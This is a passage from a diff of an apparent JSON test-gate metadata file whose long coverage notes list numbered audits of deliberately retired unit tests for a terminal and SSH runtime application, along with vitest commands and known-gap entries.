naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Module layout SSH policy: Retire the multiplexer private-clock saturation registration, the writer saturation transition-count registration and the changed-source dated writer/backpressure receipt. Retained byte delivery, lane order, fairness, settlement and cancellation cases are unvalidated by that historical receipt. No equivalent replacement, new execution, measured performance, live SSH/WSL or cross-platform proof is claimed. The unchanged WSL protocol receipt retains only its original command scope. Historical prior account (preserved verbatim): Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2070 (sources2068/2069): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/hooks-and-hosted-review.spec'). src/main/ssh/ssh-multiplexer-transport-writer.test.ts: reports saturated epochs and their drain boundary exactly once. src/main/runtime/orca-runtime-tests/worktree-removal-archive-hook-gate.spec.ts: removes and records the waiver when the failure is explicitly overridden; removes without an override record when the hook succeeds; removes when the hook is configured but not requested; removes when no archive hook is configured; holds a desktop removal in the same repo until this one is accepted; joins a desktop removal of the same worktree accepted while this one waited. src/main/runtime/orca-runtime-tests/worktree-ps-agent-row-dismissal.spec.ts: drops the row as soon as the user dismisses it, without waiting for the PTY to exit; tells paired clients to republish on the transition and on the dismissal; rejoins a row through its %s handle after pane ownership clears. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review.spec.ts: reports an error when the SSH filesystem provider is unavailable; reports an SSH orca.yaml as an error without reading any filesystem; reports ok for a local repo hook check; reads SSH issue commands as absent and drops writes without touching any filesystem; allows host integration slug helpers for SSH repos through provider-aware GitHub clients; routes runtime GitHub repo identity helpers through the selected WSL project runtime; routes runtime GitHub issue and work-item actions through the selected WSL project runtime; pins explicit origin preference on runtime open-by-number work item lookups; forwards check-details cancellation without local Git overrides. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting src/main/ssh/ssh-multiplexer-transport-writer.test.ts remains historical and is not a passing result for the reduced current command. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete tail-wait memo suite: its sole current authored callback checks supplied fromTail/blocked field values. Retire all three broader memoization/equivalence/eviction assertion aliases; they are not backed by retained source callbacks. No scan-work budget, sustained output, physical terminal or resource measurement is assigned to this removed test. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1674 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The current executable slice injects main-process renderer backlog pressure, then asserts ordinary terminal-wait detection without a joined-tail allocation and with full prompt-family continuity, per-PTY and total pending-output caps, a 1,024-ID projection cap with split-remainder compaction, preserved sequenced-tail metadata, active-pending protection ahead of background trimming, exact provider-generation pause ownership, renderer exit/data ordering, and ACK-gated in-flight bounds. The negotiation seam proves every initial connection and reconnect offers V1, the same-build relay advertises V1 without launch flags, old clients remain token-free, and method-not-found peers fall back without installing source ACK publication. The joined source-intake/multiplex oracle blocks renderer or headless serialization, admits one snapshot-covered span and one trailing span, requires replacement reservation only after the authoritative sequence is known, advances upstream ACK eligibility exactly to the covered boundary after SnapshotEnd, and delivers then ACKs the trailing span through the ordinary live path without cancellation. Source-range ledger and multiplex seams additionally require cumulative byte ACK 40 then 100 for one 100-byte frame to release exact byte credit without early source settlement, admit a contiguous higher-generation recovered token while the prior token remains unsettled, and reject stale stream or source generations without releasing in-flight byte credit. Replacement reservation rolls back every earlier span on a later failure, commit requires the exact frozen transfer states, and an authoritatively reclaimed covered span rejects commit without local trim authority while rollback removes the reservation idempotently. The exit-deadline oracle publishes a source-backed desktop projection, advances a fake clock to cancellation, and requires one projection transfer, proof commit, preparation, and final exit with no provider close, retained obligation, duplicate finalization, or process-lifetime cancellation tombstone; a second controlled proof remains pending across generation close and must never publish final exit, while both paths release the renderer preparation lease exactly once. The model-migration oracle accepts span A, blocks span B's raw emulator completion, begins disconnect migration, and proves no checkpoint or reconnect attach can remain at A; releasing B advances the exact checkpoint to B and projects B once. Its fake-clock arm reaches the 10-second deadline, requires checkpoint-unavailable, one exact model reset, zero retained admission charge and timers, and no effect from late raw settlement. Its two-PTY failure arm rejects one running raw callback under an active exact migration and requires one checkpoint-unavailable result, one model reset, zero provider closes, retained sibling checkpoint and transport liveness, zero charges and timers, and an unaffected other generation; a non-migrating sibling oracle still requires generation close. The intake additionally closes 2,048 sequential provider generations into one exact range, rejects stale events across that range, and preserves an out-of-order live gap until its own close. Direct-SSH contracts additionally prove activation-response settlement before the first source frame, claim-gated projection under same-decoder-turn response/data delivery, exact early-ACK reservation through send settlement or same-token retry, recovery completion visible before lease-held frames transfers those frames only into the private quarantine and admits no output until exact checkpoint-to-recoveryEnd coverage, invalid-checkpoint restore retention through response settlement followed by fresh-token retry and one live source frame, isolated saturated-subscriber eviction with healthy owner liveness, preserved legacy-primary backpressure, one-write ownership across write(false)/drain, control selection ahead of queued ordinary PTY input with FIFO lanes and bounded fairness, liveness rebasing, failed-exit retention through late ACK or exact recovery, response-settlement cancellation authority, token-scoped exit cancellation, exact checkpoint-to-recoveryEnd continuity, stale-owner one-shot retry, no physical PTY teardown on recovery failure, exact provider-generation closure and once-only cleanup when recovery cancellation publication or proof rejects, 16 MiB-plus-1 MiB decoder caps, charged per-PTY/session retention budgets, and eight-wide isolated reattach. The live Electron perf oracle adds hidden-output floods, renderer scheduler queue depth, dropped-output-zero normal scenarios, and active key latency budgets before promotion.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts",
@@ -9309,6 +9040,7 @@
         "Keep stress variants non-blocking until stable runtime history exists."
       ],
       "knownGaps": [
+        "Launch direct-owner cleanup current scope: This gate’s unfiltered unit command now selects a suite reduced by 82 whole registrations  / 159 potential table examples in 10 whole test Programs, including 8 registrations / 15 examples from five once-registered create-message factory closures. Lost alarms include frozen first-message/options and legacy-host fallback; distinct actions and redelivery; uncertain/refused/reloaded input custody, Retry and late proof; rich prompt/attachment upload Stop/close and handback; ordinary draft/editor/IME/StrictMode lifetime and accepted topology; provisional fallback tab placement/group/pin/order and rich worktree handoff. Four whole consent/resume-identity cases remain in two Programs; they do not replace these alarms. This entry governs current reduced-unit scope and qualifies any broader implication of unchanged oracle/coverageNotes history. Entire dated evidenceRuns, original commands/currentCommand values, counts/results and existing history retain their original scopes only; no fresh execution, transferred pass, replacement equivalence or prior upstream-removal credit is claimed.",
         "Audit2145 accepts removal of canned runtime metadata/guard/forwarding, fake in-memory persistence, private work-count and wrapper-duplication tests from the construction/orca-runtime.test.ts aggregate, plus the two automation run-context guards from runtime-workspace-launch-contracts.test.ts. Retained race, framing, physical completion and ownership callbacks remain byte-identical. Existing commands remain valid selectors; historical receipts stay unchanged and provide no fresh validation or replacement coverage for the reduced suites.",
         "Audit2133 current-parent preparation (988 authored removals; independently reviewed2099/2107/2115/2116 decisions; upstream clear-buffer and recovery-image regressions retained): Intentionally retire these low-value alarms without replacement: src/main/runtime/construction/orca-runtime.test.ts: remove only literal registration import/call pairs await import('../orca-runtime-tests/worktree-setup-and-startup.spec'), await import('../orca-runtime-tests/gitlab-and-pr-bases.spec'); no additional authored credit. src/main/ssh/ssh-channel-multiplexer.test.ts: sends a JSON-RPC request and resolves on response; assigns unique request IDs; sends notifications without expecting a response; dispatches incoming notifications to handler; sends one keepalive frame per cadence tick; drives keepalive sends AND dead-link detection from a single interval; resolves false immediately on a disposed mux; throws on request after dispose; reports isDisposed correctly; clears registered handlers on dispose; does not retain handlers registered after dispose. src/main/persistence/worktree-sort-order-write.test.ts: re-ranks every writable row when a blocked row sits in the requested order. src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts: routes tab switch and capture start by explicit page id; accepts focus on tab switch without altering bridge args (focus is main-side concern); keeps terminal cwd resolution fail-soft when the provider is unavailable. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts: drops the bounded scan cache when orphan-cleanup removal completes; clears optimistic reconcile tokens when a CLI worktree removal succeeds; emits drift without mutating when the fetched base fast-forwards created HEAD; emits base_changed without mutation when the fetched base rewrote history; skips stale-token reconciles without mutating or emitting stale status; emits unknown without mutation when fetch fails or the base ref is missing. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts: routes runtime preserved-branch force-delete through the selected WSL project runtime; replies to a waiting client with the error of a delete that fails after acceptance; treats forced runtime deletion of an already-missing unregistered worktree as cleanup; treats normal runtime deletion of an already-missing unregistered worktree as cleanup. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts: warns that a missing-repo removal only forgot the workspace; restores runtime watchers when CLI worktree deletion fails after teardown; does not re-spend the drain budget on a removal after a wedged install was abandoned; routes runtime 